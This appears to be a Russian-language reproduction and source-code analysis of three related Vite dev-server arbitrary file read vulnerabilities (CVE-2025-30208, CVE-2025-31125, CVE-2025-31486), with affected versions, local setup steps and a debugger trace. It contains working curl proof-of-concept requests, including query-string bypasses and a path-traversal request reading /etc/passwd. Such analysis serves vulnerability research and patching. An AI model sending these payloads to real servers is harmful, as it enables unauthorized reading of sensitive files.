
Анализ воспроизведения серии уязвимостей CVE-2025-30208
CVE-2025-30208, CVE-2025-31125 и CVE-2025-31486 — это уязвимость произвольного чтения файлов в сервере разработки Vite. Данная уязвимость позволяет злоумышленнику обойти контроль доступа с помощью определённых параметров URL и прочитать конфиденциальные файлы на сервере через модуль fs. Вышеупомянутые три уязвимости можно считать серией уязвимостей, поскольку причины их возникновения очень похожи.
CVE-2025-30208 затрагивает следующие версии:
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
CVE-2025-31125 затрагивает следующие версии:
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
CVE-2025-31486 затрагивает следующие версии:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
Чтобы с нуля создать уязвимое окружение на локальной машине, сначала создайте проект с помощью create-vite:
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
На этом этапе версия Vite в сгенерированном package.json может содержать символ ^ (например, "vite": "^6.2.0"); её необходимо вручную изменить на точный номер версии (например, "vite": "6.2.0"), а затем выполнить:
npm install
Наконец, просто запустите окружение:
npm run dev
Конечно, можно также напрямую использовать папку vuln-env из этого репозитория: после npm install просто выполните npm run dev.
Для удобства все три уязвимости воспроизводились на версии 6.2.0. Выполните npm run dev и дождитесь запуска окружения.

POC для CVE-2025-30208:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

POC для CVE-2025-31125:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
Прочитанное содержимое закодировано в base64; после декодирования можно получить исходное содержимое файла.

POC для CVE-2025-31486:
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
POC для чтения через относительный путь, упомянутый в уведомлении, выглядит следующим образом:
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x обозначает путь к локальному проекту; локальный тестовый POC выглядит следующим образом:
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
Можно заметить, что POC в основном делятся на два типа: те, которым не требуется добавлять HTTP Header, обязательно содержат ?import&. Пока оставим это без пояснений — объяснение будет дано на этапе анализа исходного кода.
Для анализа исходного кода требуется отладка; здесь проект отлаживается через VSCode. Содержимое файла launch.json следующее:
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
Судя по официальному исправлению, было усилено условие if в функции transformMiddleware, которое проверяет формат URL и определяет, разрешён ли доступ к сервису. Поставим точку останова в функции transformMiddleware и проследим процесс разбора запроса.

Поскольку в созданном проекте есть только скомпилированные JS-файлы, просто выполним поиск ключевого слова функции по всем файлам и добавим точку останова.

Запустим POC — точка останова успешно сработала в целевой функции. Видно, что после присвоения некоторых переменных процесс вызова входит в функцию viteTransformMiddleware; после проверки того, является ли метод запроса GET и является ли запрос корневым каталогом или иконкой, URL через removeTimestampQuery теряет завершающий ?.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
С помощью cleanUrl() получается URL без параметров запроса; в этот момент значением withoutQuery является "/@fs/c:/windows/win.ini", поэтому выполнение не входит в блок кода if (!isSourceMap). Затем с помощью publicDirInRoot проверяется, настроен ли каталог статических ресурсов в корне проекта, а url.startsWith(publicPath) проверяет, начинается ли запрошенный URL с настроенного публичного пути (например, /public/). Когда оба условия выполняются одновременно, вызывается warnAboutExplicitPublicPathInUrl(url) для выдачи предупреждения. Обычно это означает, что разработчик мог ошибочно добавить публичный путь повторно. URL не соответствует условиям, поэтому соответствующий блок кода также пропускается. Результаты rawRE.test(url) и urlRE.test(url) равны False, поэтому результат ensureServingAccess() не проверяется, а результат логического выражения сразу устанавливается в False, и блок кода пропускается. В следующей проверке if URL соответствует регулярному выражению, определённому ImportQueryRE, и входит в блок кода if; URL через функцию removeImportQuery() преобразуется в /@fs/c:/windows/win.ini?raw и передаётся в функцию transformRequest().
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
В условии if, проверяющем isJSRequest(url), видно, что дополнительно проверяется, равно ли значение HTTP-заголовка sec-fetch-dest значению script; если да, то проверка также проходит. Именно поэтому, как упоминалось ранее, POC в основном делятся на два типа: добавление HTTP Header и ?import& — оба нужны для прохождения проверки if. (На самом деле пройти проверку можно и другими способами, например через isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

После обработки параметров, проверки окружения, проверки ключа кэша и обнаружения повторных запросов выполнение входит в функцию doTransform().

После проверки действительности кэша URL /@fs/c:/windows/win.ini?raw разбирается и получается ID c:/windows/win.ini?raw, после чего выполнение входит в функцию loadAndTransform().
